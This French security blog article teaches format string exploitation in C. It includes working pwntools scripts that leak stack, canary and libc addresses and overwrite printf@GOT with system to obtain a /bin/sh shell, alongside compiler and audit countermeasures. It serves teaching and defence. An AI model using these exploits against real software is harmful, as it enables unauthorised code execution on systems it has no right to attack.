Les vulnérabilités de format string sont un classique de l'exploitation binaire, présentes depuis les années 2000 mais toujours pertinentes en 2026. Une format string vulnerability survient quand une entrée contrôlée par l'attaquant est utilisée comme premier argument d'une fonction de formatage (printf, sprintf, fprintf, syslog) sans spécificateur de format. L'attaquant utilise des spécificateurs comme %x (lecture stack), %s (lecture mémoire arbitraire) et %n (écriture mémoire arbitraire) pour transformer un simple bug de programmation en exécution de code arbitraire. Ce guide technique couvre les mécanismes d'exploitation, les techniques modernes adaptées aux protections actuelles (ASLR, PIE, RELRO, stack canaries), la construction d'exploits avec %n et %hn, et les contre-mesures de compilation. Les développeurs d'exploits et les auditeurs de code trouveront ici une méthodologie complète pour l'exploitation format string en environnement moderne protégé, avec des liens vers les techniques d'exploitation ROP complémentaires.
En bref
- Mécanisme : printf sans format string = lecture/écriture arbitraire de la mémoire
- Lecture stack : %x, %p pour leak d'adresses (bypass ASLR, canary leak)
- Écriture mémoire : %n/%hn pour écrire à des adresses contrôlées (GOT overwrite)
- Exploitation moderne : format string + ROP chain sur systèmes avec full RELRO et PIE
- Contre-mesures : -Wformat, -Wformat-security, FORTIFY_SOURCE et audit de code
Mécanisme de Base : printf et la Stack
Les fonctions printf en C utilisent des arguments variadiques : elles lisent les arguments depuis la stack (ou les registres sur x64) selon les spécificateurs de format. Si l'attaquant contrôle la format string, il peut :
// CODE VULNÉRABLE
char user_input[256];
fgets(user_input, sizeof(user_input), stdin);
printf(user_input); // ❌ VULNÉRABLE — l'utilisateur contrôle le format
// CODE CORRIGÉ
printf("%s", user_input); // ✅ SÉCURISÉ — format string fixe
// Exploitation :
// Input: "%x.%x.%x.%x" → lit 4 valeurs de la stack
// Input: "%s" → lit une string à l'adresse pointée par le prochain arg stack
// Input: "%n" → ÉCRIT le nombre de caractères imprimés à l'adresse stack
// Input: "AAAA%7$n" → Écrit à l'adresse 0x41414141 (si AAAA est au 7ème arg)
Lecture de la Stack : Leak d'Informations
Les spécificateurs %x (hex 32-bit), %p (pointer), %lx (hex 64-bit) et %s (string) permettent de lire le contenu de la stack. En itérant les positions (%1$x, %2$x, %3$x...), l'attaquant reconstruit l'intégralité de la stack et extrait :
- Adresses de retour : leak des adresses de la stack et du code pour bypass ASLR
- Stack canary : leak de la valeur canary pour bypass stack protection
- Adresses libc : calcul de l'adresse de base de la libc pour les attaques ret2libc/ROP
- PIE base : leak d'adresses du binaire pour bypass PIE
#!/usr/bin/env python3
# Leak automatisé via format string
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
# Itérer les positions de la stack pour trouver des adresses intéressantes
for i in range(1, 30):
p.sendline(f'%{i}$p'.encode())
leak = p.recvline().strip()
print(f"Position {i:2d}: {leak}")
# Identifier les adresses : stack, libc, PIE, canary
# Canary: typiquement se termine par 0x00 (null byte)
# Libc: commence par 0x7f sur x64
# PIE: correspond à la plage du binaire
Écriture Mémoire : Le Spécificateur %n
Le spécificateur %n écrit le nombre de caractères imprimés jusqu'à ce point à l'adresse pointée par l'argument correspondant. Avec un contrôle sur la format string ET la possibilité de placer une adresse sur la stack, l'attaquant peut écrire n'importe quelle valeur à n'importe quelle adresse :
# GOT Overwrite via format string (x64, pwntools)
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
# Cible : écraser l'entrée GOT de printf par l'adresse de system
# printf@GOT sera appelé avec l'argument contrôlé → system(user_input)
got_printf = elf.got['printf'] # Adresse de printf dans la GOT
system_addr = elf.symbols['system'] # Adresse de system (si no-PIE)
# Utiliser %hn (half-word write, 2 octets) pour écrire adresse par morceaux
# %hn écrit les 2 octets inférieurs du compteur de caractères
# Construction du payload avec pwntools fmtstr_payload
payload = fmtstr_payload(
offset=7, # Position de notre input sur la stack
writes={got_printf: system_addr}, # Quoi écrire où
numbwritten=0, # Caractères déjà imprimés
write_size='short' # Utiliser %hn (2 octets) au lieu de %n (4)
)
p.sendline(payload)
# Au prochain appel printf(user_input) → system(user_input)
p.sendline(b'/bin/sh')
p.interactive()
Exploitation Moderne : Full RELRO et PIE
Sur les systèmes modernes avec Full RELRO (GOT read-only), PIE (binaire à position indépendante) et ASLR, l'exploitation format string nécessite une approche en deux étapes :
- Étape 1 — Information Leak : utiliser
%ppour leak les adresses stack, libc et PIE base. Calculer les adresses de gadgets ROP et desystem/execve. - Étape 2 — Exploitation : avec les adresses connues, écraser l'adresse de retour sur la stack (via
%n) avec une ROP chain, ou écraser un pointeur de fonction (hook malloc, __free_hook avant glibc 2.34, etc.).
Format String sur le Heap
Les format strings ne sont pas toujours sur la stack — parfois le buffer est alloué sur le heap (malloc). Dans ce cas, l'attaquant ne peut pas placer d'adresses directement accessibles via les spécificateurs %n. La technique consiste à trouver des pointeurs sur la stack qui pointent vers d'autres pointeurs (chaîne de pointeurs) et à utiliser %n en deux passes : d'abord modifier le pointeur intermédiaire, puis utiliser ce pointeur modifié pour écrire à l'adresse cible.
Contre-mesures de Compilation
-Wformat -Wformat-security: avertissements à la compilation pour les format strings non constantes-Werror=format-security: transforme l'avertissement en erreur (empêche la compilation)-D_FORTIFY_SOURCE=2: remplace printf par __printf_chk qui détecte les %n dans les format strings writables- Audit de code : rechercher tous les appels printf/sprintf/syslog avec un premier argument non-constant
- Fuzzing : les fuzzers (AFL++, libFuzzer) détectent les crashes format string automatiquement
grep -rn 'printf(\s*[a-z]' src/ pour trouver les appels printf dont le premier argument est une variable. L'outil cppcheck et Coverity détectent automatiquement les format strings non sécurisées. En CTF, pwntools fournit fmtstr_payload() pour générer automatiquement les payloads d'écriture %n.À retenir
- printf(user_input) sans format string fixe = lecture ET écriture arbitraire de la mémoire
- %x/%p leak la stack (canary, adresses libc/PIE pour bypass ASLR), %n écrit en mémoire
- GOT overwrite via %n : remplacer printf@GOT par system pour obtenir RCE
- Full RELRO bloque le GOT overwrite — cibler l'adresse de retour ou les hooks malloc
- -Wformat-security -Werror et FORTIFY_SOURCE détectent et bloquent les format strings vulnérables
FAQ — Questions Fréquentes
Les format strings sont-elles encore pertinentes en 2026 ?
Oui, les vulnérabilités format string sont toujours trouvées dans les firmwares IoT, les logiciels embarqués, les applications legacy C/C++, et les outils système. Bien que les compilateurs modernes émettent des avertissements, beaucoup de code est compilé sans -Wformat-security. De plus, les format strings sont un exercice fondamental pour comprendre la manipulation de la stack et les primitifs d'exploitation.
Quelle est la différence entre %n et %hn ?
%n écrit un int (4 octets) — le nombre total de caractères imprimés. %hn écrit un short (2 octets) — les 16 bits inférieurs du compteur. %hhn écrit un byte (1 octet). %hn est préféré car écrire 2 octets nécessite de imprimer au maximum 65535 caractères, alors que %n peut nécessiter des milliards de caractères pour écrire une adresse 64-bit.
FORTIFY_SOURCE bloque-t-il toutes les attaques format string ?
FORTIFY_SOURCE (niveau 2) remplace printf par __printf_chk qui détecte les %n dans les format strings writables (non constantes). Il bloque l'écriture mémoire via %n mais ne bloque pas la lecture (%x, %p, %s). Un attaquant peut toujours leak des informations sensibles (ASLR bypass, canary leak) même avec FORTIFY_SOURCE.
Besoin d'un accompagnement expert ?
Nos consultants spécialisés en sécurité applicative et audit de code vous accompagnent dans l'évaluation de votre posture de sécurité.
Contactez-nousTélécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Expert Cybersécurité Offensive & Intelligence Artificielle
Ayi NEDJIMI est consultant senior en cybersécurité offensive et intelligence artificielle, avec plus de 20 ans d'expérience sur des missions à haute criticité. Il dirige Ayi NEDJIMI Consultants, cabinet spécialisé dans le pentest d'infrastructures complexes, l'audit de sécurité et le développement de solutions IA sur mesure.
Ses interventions couvrent l'audit Active Directory et la compromission de domaines, le pentest cloud (AWS, Azure, GCP), la rétro-ingénierie de malwares, le forensics numérique et l'intégration d'IA générative (RAG, agents LLM, fine-tuning). Il accompagne des organisations de toutes tailles — des PME aux grands groupes du CAC 40 — dans leur stratégie de sécurisation.
Contributeur actif à la communauté cybersécurité, il publie régulièrement des analyses techniques, des guides méthodologiques et des outils open source. Ses travaux font référence dans les domaines du pentest AD, de la conformité (NIS2, DORA, RGPD) et de la sécurité des systèmes industriels (OT/ICS).
Ressources & Outils de l'auteur
Articles connexes
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire